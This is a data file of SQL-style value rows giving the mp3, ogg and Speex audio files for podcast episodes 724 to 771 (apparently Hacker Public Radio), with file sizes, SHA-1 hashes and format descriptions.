(724,'hpr0724.mp3','mp3',10114753,'537a58cef42c1e35e45df035b2d33305e0680f0d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(724,'hpr0724.ogg','ogg',11878517,'1e4ecab7e6dadcbb5b190a8503122bc7dc45797a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~86000 bps, created by: Xiph.Org libVorbis I'),
(724,'hpr0724.spx','spx',8748294,'1526047348e49f1d17f61c58e91c8e41dcd421e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(725,'hpr0725.mp3','mp3',10862104,'a1cdb538117f94a1527cc959984a7fa655e12093','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(725,'hpr0725.ogg','ogg',17496718,'edd491790191425047723f466b5adf3a7fcbb5bf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps'),
(725,'hpr0725.spx','spx',7762821,'f8c596a0e243699ef0019d70553bcc3ae225db9c','application/ogg; charset=binary','Ogg data, Speex audio'),
(726,'hpr0726.mp3','mp3',14127771,'f9743e3096e7b6f62f16193e45ef3afb1c96beef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(726,'hpr0726.ogg','ogg',6811618,'f30b41296b6c2cde62dcb055303f36d3daff237a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(726,'hpr0726.spx','spx',4206642,'6d2b1bb7d71b55cb68d3966589e9a45c4f170173','application/ogg; charset=binary','Ogg data, Speex audio'),
(727,'hpr0727.mp3','mp3',12445696,'33e51012bfd5c0a9e7cb2b52ebd188b73da01d9c','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  48 kbps, 32 kHz, Monaural'),
(727,'hpr0727.ogg','ogg',8617727,'1460a04f423c49cdeaf55a609b1011b71701817b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(727,'hpr0727.spx','spx',7410258,'9ac6a77f4c31a460a2a1dc2ef8d0aaa6473fd887','application/ogg; charset=binary','Ogg data, Speex audio'),
(728,'hpr0728.mp3','mp3',15144094,'98605338f503e59a0b127176f982d8ed6e237c89','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, JntStereo'),
(728,'hpr0728.ogg','ogg',16364129,'ef268ae3cc225c0fc2721d476f162e9cc25daac1','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(728,'hpr0728.spx','spx',6954046,'1405ddac0fd145ba5b6ea3fbec728aef71371a1f','application/ogg; charset=binary','Ogg data, Speex audio'),
(729,'hpr0729.mp3','mp3',7268334,'664f19cc9d6a4a92bc1f8cf573f5241e18096a8b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(729,'hpr0729.ogg','ogg',9629612,'ba5ed4048bd1e53e89eeaa6660816bf083755971','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~70000 bps, created by: Xiph.Org libVorbis I'),
(729,'hpr0729.spx','spx',7547072,'6524eb160e9bcae5bd45cb79c7c9d9d56f6f95a3','application/ogg; charset=binary','Ogg data, Speex audio'),
(730,'hpr0730.mp3','mp3',27301525,'319d68ec8018286f68053984dcf63dcfd1e777de','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(730,'hpr0730.ogg','ogg',17306697,'e167ccaccb1296ec6c9eb718aafa39d76d57bbf1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(730,'hpr0730.spx','spx',7023352,'946a5b2f77864834e095f2088f7709aa0f52bd47','application/ogg; charset=binary','Ogg data, Speex audio'),
(731,'hpr0731.mp3','mp3',7018496,'5eee2d4b2f3b127e186d4bb2e564f55c5f0e3176','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  48 kbps, 32 kHz, Monaural'),
(731,'hpr0731.ogg','ogg',5046283,'a07b0a922f0eec7d8af013e8ccb9699fc674dea4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(731,'hpr0731.spx','spx',4178373,'953c256d39a670d07613757c3bed21d885133221','application/ogg; charset=binary','Ogg data, Speex audio'),
(732,'hpr0732.mp3','mp3',37920963,'fd0f209904928c4baaf60414856c6d586fc047f1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(732,'hpr0732.ogg','ogg',29833819,'234cb31723bf3dc06fcfae31b1ce65649dadf124','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(732,'hpr0732.spx','spx',8708478,'ceb3ba6ca04450621030d43195ce553bc2117f2a','application/ogg; charset=binary','Ogg data, Speex audio'),
(733,'hpr0733.mp3','mp3',16824320,'24f4847c97bbc8b06adee802ebe590ec0fab8282','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(733,'hpr0733.ogg','ogg',15673851,'16eae5a79e897019dad615aa7fb06e5c632237ab','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(733,'hpr0733.spx','spx',3866362,'c4b411c0a1a0488b5800ac2fc7a9ab9dc8cc6c4c','application/ogg; charset=binary','Ogg data, Speex audio'),
(734,'hpr0734.mp3','mp3',9500699,'cdb27fd88c69b7438f33c798e2112031c9a17f0f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, JntStereo'),
(734,'hpr0734.ogg','ogg',7620506,'339ad6f2419e6d03d2d241d9088e5f961a068a04','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(734,'hpr0734.spx','spx',2181574,'05a31a5c97d4d6de279e872ca2de8816721105ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(735,'hpr0735.mp3','mp3',29802790,'eaa2958066a1e10525ee867f76cf3f0ce350165e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(735,'hpr0735.ogg','ogg',17155924,'b81d042404391f9ab7368afdaa861a7b9d070005','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(735,'hpr0735.spx','spx',8873736,'e2b1f1d471bc966326cb1cc4970a59e0348a23b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(736,'hpr0736.mp3','mp3',4523665,'1d5f05a131351964d096cd448b756c6d882f2bb4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(736,'hpr0736.ogg','ogg',3078928,'079329d87fc8a9a81fb86bdc994699e084b4081c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(736,'hpr0736.spx','spx',1347098,'2251b7faa5d233ecacd9ed988ac5be69b48a4efe','application/ogg; charset=binary','Ogg data, Speex audio'),
(737,'hpr0737.mp3','mp3',7413219,'1f53be932ea814e0f6372e72c4b89cf42ac7aaac','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(737,'hpr0737.ogg','ogg',5980711,'7a430085d8b5e882f40a2e01975e292de08233d0','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(737,'hpr0737.spx','spx',1702360,'f1486dbd3c247446950669926b0a52b2d43e3950','application/ogg; charset=binary','Ogg data, Speex audio'),
(738,'hpr0738.mp3','mp3',23919859,'67b2b17c26a52744f284de3fa49b86932a19c3dd','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(738,'hpr0738.ogg','ogg',15784157,'8ee3830b1f663350032d6d582cefc2981568bd97','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(738,'hpr0738.spx','spx',5492366,'3e0e03bf0b181a307e3744447710994af974864e','application/ogg; charset=binary','Ogg data, Speex audio'),
(739,'hpr0739.mp3','mp3',70226349,'d2b9812eb86f0413d54a7f10ab4ab5f7fe5eb438','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(739,'hpr0739.ogg','ogg',44798418,'ffb08d7680f40eef418e5ee50a05983c6cb62292','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(739,'hpr0739.spx','spx',16124434,'5ed1e1b60e4c078f08bd735f9d351599eb8a442e','application/ogg; charset=binary','Ogg data, Speex audio'),
(740,'hpr0740.mp3','mp3',15843060,'7420f7fdc655a9994aaa8cceb45be1487b51ffdd','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(740,'hpr0740.ogg','ogg',11125354,'81fd47ac22f1fdbd3582f53ea5553482ac9097cb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(740,'hpr0740.spx','spx',3637896,'6051eaf4fbee559c4296f225e0874258995c7216','application/ogg; charset=binary','Ogg data, Speex audio'),
(741,'hpr0741.mp3','mp3',29524149,'5fec1addf8ba74e5cdcc4719b7a5ede5b7942d89','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(741,'hpr0741.ogg','ogg',18298507,'237e36103f289b3abacb1e324a2c5582340d05a1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(741,'hpr0741.spx','spx',8790918,'03309e99e0a90aa73c0f52e45029798e56635445','application/ogg; charset=binary','Ogg data, Speex audio'),
(742,'hpr0742.mp3','mp3',5634616,'79fafd3dd1b782bb95f15fc392b3ccc0cfe56d9b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(742,'hpr0742.ogg','ogg',3851550,'53f5768c9247f238f7d9aee41c16dda7376f2ec1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(742,'hpr0742.spx','spx',1677877,'d49d434a755a8cbc4a9a322cde5e57f336383f2c','application/ogg; charset=binary','Ogg data, Speex audio'),
(743,'hpr0743.mp3','mp3',11242181,'3ff075d50fbaba198b906d07ead13b2eecce5eb1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(743,'hpr0743.ogg','ogg',8577074,'4be1a9e48852c1dc9cf0fa60ef15f138a214bfb5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(743,'hpr0743.spx','spx',2577970,'2d832f52dfc8c851e82b4c17f036b06c09c5b6b0','application/ogg; charset=binary','Ogg data, Speex audio'),
(744,'hpr0744.mp3','mp3',21412379,'e9ee5c9da9f86969ef4fdb686b93616fcbfc887d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, JntStereo'),
(744,'hpr0744.ogg','ogg',16274616,'955e003fb89ed9a4540043b989d2a069be4d3aa6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(744,'hpr0744.spx','spx',4916557,'fc7a1beb9839ec85f8521728f1bc7bc8e18631ae','application/ogg; charset=binary','Ogg data, Speex audio'),
(745,'hpr0745.mp3','mp3',12080471,'f393a3d1f193b6e105ad6784459d267d5bc1ddc3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(745,'hpr0745.ogg','ogg',5778620,'faa36a4ae6f9e2fbcc5c9c2a91bc80bc029ec3e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(745,'hpr0745.spx','spx',3597093,'066dc5a9ab50099bf72a10c45dac1c32b0d6e234','application/ogg; charset=binary','Ogg data, Speex audio'),
(746,'hpr0746.mp3','mp3',14276354,'0869d17bd235dec7f0d2394c416c4aace6a9426d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(746,'hpr0746.ogg','ogg',7972170,'1e28ea59acc83c13dadadd62e2a3a2a8733062b7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(746,'hpr0746.spx','spx',4250887,'a4a63d847089e071f909f454d4921792a7b43dbc','application/ogg; charset=binary','Ogg data, Speex audio'),
(747,'hpr0747.mp3','mp3',48009216,'1b87014433d0e1039e4ec7f45debaaa6b463ec41','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(747,'hpr0747.ogg','ogg',32765780,'010895310fdd2b8620b0c3750f2c34416f2d01e9','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(747,'hpr0747.spx','spx',11024333,'88818b8b5ec215b6424bfc13363c28ec6490412b','application/ogg; charset=binary','Ogg data, Speex audio'),
(748,'hpr0748.mp3','mp3',24531730,'3442730ba8d2bb885219d94d9c5cb653b4b0fa8e','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(748,'hpr0748.ogg','ogg',24779349,'99c2b23f220b7e09b25a6dfcfaf3f72bbaf2e1f1','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(748,'hpr0748.spx','spx',5632822,'94607c8e116c151fd12306e7f8eea4061bf6a3dd','application/ogg; charset=binary','Ogg data, Speex audio'),
(749,'hpr0749.mp3','mp3',2197490,'b9cff8b0354144fe9bb6f6a2cda69cd34de1e9b0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(749,'hpr0749.ogg','ogg',2712211,'e7ed7c45813ac7ff35f6b311248b78a83a86c959','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~86000 bps, created by: Xiph.Org libVorbis I'),
(749,'hpr0749.spx','spx',1775589,'26ea0203c887c2fdf2c0d3226e66f4837df1cbb8','application/ogg; charset=binary','Ogg data, Speex audio'),
(750,'hpr0750.mp3','mp3',8519711,'b0fa50ff0a3be17b41d4fd7184ef9a39961ad4bf','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(750,'hpr0750.ogg','ogg',5896644,'dc0568dcf856c81aa307c3f5b0bf16ba1e763410','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(750,'hpr0750.spx','spx',1956211,'5918f870310528707fd5d8445bb824045125d737','application/ogg; charset=binary','Ogg data, Speex audio'),
(751,'hpr0751.mp3','mp3',24743936,'a14436e5f856a95b83ac2cfd745c3c4e558033df','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(751,'hpr0751.ogg','ogg',16444587,'452afc08aac4684578699ab6ca0e4a0318d7104e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(751,'hpr0751.spx','spx',5681161,'9969f7cc3e1812b10a806ba75015adffcc52d32e','application/ogg; charset=binary','Ogg data, Speex audio'),
(752,'hpr0752.mp3','mp3',8967417,'f0fc661aada5d60592e565e3d487ce21c5aef8e9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(752,'hpr0752.ogg','ogg',4277268,'2ff057304fc325f26a3bf8ddd8a7f1219d408194','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(752,'hpr0752.spx','spx',2670222,'aa5c7e283fb3c5faf58c77e2188cf7c4ca279b76','application/ogg; charset=binary','Ogg data, Speex audio'),
(753,'hpr0753.mp3','mp3',18071628,'6972a43bbcd6ff8f57227f569480d3237385ca92','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(753,'hpr0753.ogg','ogg',13994562,'0384492d0ae2bab253e362c794a8a5e14d9c1586','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(753,'hpr0753.spx','spx',4146028,'b945245493a1138d85da32964556661866ae5e78','application/ogg; charset=binary','Ogg data, Speex audio'),
(754,'hpr0754.mp3','mp3',23638811,'7769990a1472404387917c17caa5b7493c3da996','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, JntStereo'),
(754,'hpr0754.ogg','ogg',18683106,'8db035971235e52299978a55bcf6274a018ce7a8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(754,'hpr0754.spx','spx',5427712,'c6649b6b521bfe566386fccc7bdd2ec8b1b0d99c','application/ogg; charset=binary','Ogg data, Speex audio'),
(755,'hpr0755.mp3','mp3',8074588,'c7adde0da8fc087d30e45b68ee63f4aa5017cfa9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(755,'hpr0755.ogg','ogg',9715645,'37ab832c9af70adfe1634eac601f24b4c1b3e1cc','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(755,'hpr0755.spx','spx',2966238,'9b4ae7c9909589a1864e1ffce73e3354959ca941','application/ogg; charset=binary','Ogg data, Speex audio'),
(756,'hpr0756.mp3','mp3',36218696,'c285efcbe01e6c72f2c5b1cb052751d399decc0a','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(756,'hpr0756.ogg','ogg',27563480,'1050781438283addff9d163d37f6021f1ce9497a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(756,'hpr0756.spx','spx',8316004,'2b735164c8b9ecefc0b0a47709f9e1898acd52a4','application/ogg; charset=binary','Ogg data, Speex audio'),
(757,'hpr0757.mp3','mp3',13615830,'a2bf5c74a0de130a1fe40f56554d661d2a36c4f2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 48 kHz, JntStereo'),
(757,'hpr0757.ogg','ogg',13850881,'9a830008cbdf68031e1711dfc2df6dc71389cc70','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(757,'hpr0757.spx','spx',5359613,'dc86dc775d783f2095b9e5252e5cf9517b8e2d48','application/ogg; charset=binary','Ogg data, Speex audio'),
(758,'hpr0758.mp3','mp3',51574491,'7124b95ff06ef132369ca877958ea6cd63a7a959','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(758,'hpr0758.ogg','ogg',35755034,'073319b6bd7291a7d7653d53a5ae2bade19206fb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(758,'hpr0758.spx','spx',15356023,'f7ca9ad69842e17fcc53c7863578d4506c897afa','application/ogg; charset=binary','Ogg data, Speex audio'),
(759,'hpr0759.mp3','mp3',19791579,'a944025886d3ea50704617ca5471aefd34ccf44a','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(759,'hpr0759.ogg','ogg',16694908,'da85423805f93a06e150a161c10199c23de1935d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(759,'hpr0759.spx','spx',8839257,'b1f1ae6317bd9884d5377d1b80ca7a918039cf34','application/ogg; charset=binary','Ogg data, Speex audio'),
(760,'hpr0760.mp3','mp3',4506392,'d837d0a9dc2f4106a8bffb9e174c1b1c33048a6a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, Monaural'),
(760,'hpr0760.ogg','ogg',4225600,'8c8fdd6223cac1af850cd4c9bda42972d02288ed','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(760,'hpr0760.spx','spx',1949849,'66728c30a6e4f1e51c19db24dc21022b6e7a392c','application/ogg; charset=binary','Ogg data, Speex audio'),
(761,'hpr0761.mp3','mp3',31862361,'1a9220b51d8f8d8fe59837e40d41f040d5aeff87','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(761,'hpr0761.ogg','ogg',20720810,'4367478282c8f60baddfd64538d275884383281c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(761,'hpr0761.spx','spx',9487005,'ae6c93be0b176be3c43102b0f749fdcd3338e563','application/ogg; charset=binary','Ogg data, Speex audio'),
(762,'hpr0762.mp3','mp3',26321245,'99f37e07b47e93c72d7db6b37a3eaeb0da2ce3f9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(762,'hpr0762.ogg','ogg',17115237,'373f825bc2271f392f207c47e3519cc20faadcfe','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(762,'hpr0762.spx','spx',4867747,'d347bb4bb0fcbb6eec61182141ee1184e5bf54f1','application/ogg; charset=binary','Ogg data, Speex audio'),
(763,'hpr0763.mp3','mp3',7862003,'5e598adda8e000ed4d79096c1a2e174048845cfd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(763,'hpr0763.ogg','ogg',3997892,'f7a585ff19353bf75bb1a5ed3a85fc056a3c25b3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(763,'hpr0763.spx','spx',2340928,'9e34e31838cc77f6c1d7ea010044225f7fc625a1','application/ogg; charset=binary','Ogg data, Speex audio'),
(764,'hpr0764.mp3','mp3',11246541,'dd0ff6301e8a11bbc81ec4d594b4356a4145dc61','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(764,'hpr0764.ogg','ogg',13969595,'54e19770bb915ee8c141a1a17b99cfb2d0cd4e49','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~86000 bps, created by: Xiph.Org libVorbis I'),
(764,'hpr0764.spx','spx',9072046,'6d347eaea21c5502f1b440c31d76bd92b0cf8630','application/ogg; charset=binary','Ogg data, Speex audio'),
(765,'hpr0765.mp3','mp3',7795054,'0baa1b3dd9d934504cb731bf01f1ed13c426e4b0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  80 kbps, 32 kHz, Monaural'),
(765,'hpr0765.ogg','ogg',6192304,'f7e6dd1160bba18469698163a7512e9378b0c6a5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(765,'hpr0765.spx','spx',2784926,'3d18bbbfa5cf43f429be8339f7f1e0f7ff738b2f','application/ogg; charset=binary','Ogg data, Speex audio'),
(766,'hpr0766.mp3','mp3',14127771,'f9743e3096e7b6f62f16193e45ef3afb1c96beef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(766,'hpr0766.ogg','ogg',6811618,'f30b41296b6c2cde62dcb055303f36d3daff237a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(766,'hpr0766.spx','spx',4206642,'6d2b1bb7d71b55cb68d3966589e9a45c4f170173','application/ogg; charset=binary','Ogg data, Speex audio'),
(767,'hpr0767.mp3','mp3',7833751,'81804e9f035675d6ebe7c17b8550358adad118f1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, Monaural'),
(767,'hpr0767.ogg','ogg',7280267,'c114eb725865941ac9fd8ad2da47d426c2608bcb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(767,'hpr0767.spx','spx',3377185,'fa68756440559963171ddf00734e04d42b1bbf41','application/ogg; charset=binary','Ogg data, Speex audio'),
(768,'hpr0768.mp3','mp3',10451248,'8d395117666bd43fdd613aefe6f9f967944ef0cc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(768,'hpr0768.ogg','ogg',7418593,'460c535c75e7923573159f3b0e0a2ecc98224776','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(768,'hpr0768.spx','spx',3111888,'c4c5a30c9212ac0f4ca7bd54a22f1c133181af75','application/ogg; charset=binary','Ogg data, Speex audio'),
(769,'hpr0769.mp3','mp3',58351616,'5a29709561dbb626beeb089b5dec05fa9f460a28','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(769,'hpr0769.ogg','ogg',64805808,'af6672b57a9d82368cce7d0f23ef14de30a67df2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(769,'hpr0769.spx','spx',26060324,'9d440f772eded44cbbbecc90fab3202dc58859cc','application/ogg; charset=binary','Ogg data, Speex audio'),
(770,'hpr0770.mp3','mp3',5071891,'dfdb1c562665ecbdd1bc848e047e905b333a9855','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(770,'hpr0770.ogg','ogg',4747045,'87e5fc22e3522d9d619486dd4203379a7990fd41','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(770,'hpr0770.spx','spx',2265239,'84746bca3f76d023429e01cce90eb0f806dcf3ae','application/ogg; charset=binary','Ogg data, Speex audio'),
(771,'hpr0771.mp3','mp3',15576723,'73fad573c13dbf84f8e36613012c429bbad9f208','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(771,'hpr0771.ogg','ogg',13872819,'4b1cf06788c7c0860b7ff7abaeea6e2968619d3b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(771,'hpr0771.spx','spx',5157956,'1a36d5931f9fb706c54670cbbeee9d38fa26c64d','application/ogg; charset=binary','Ogg data, Speex audio'),
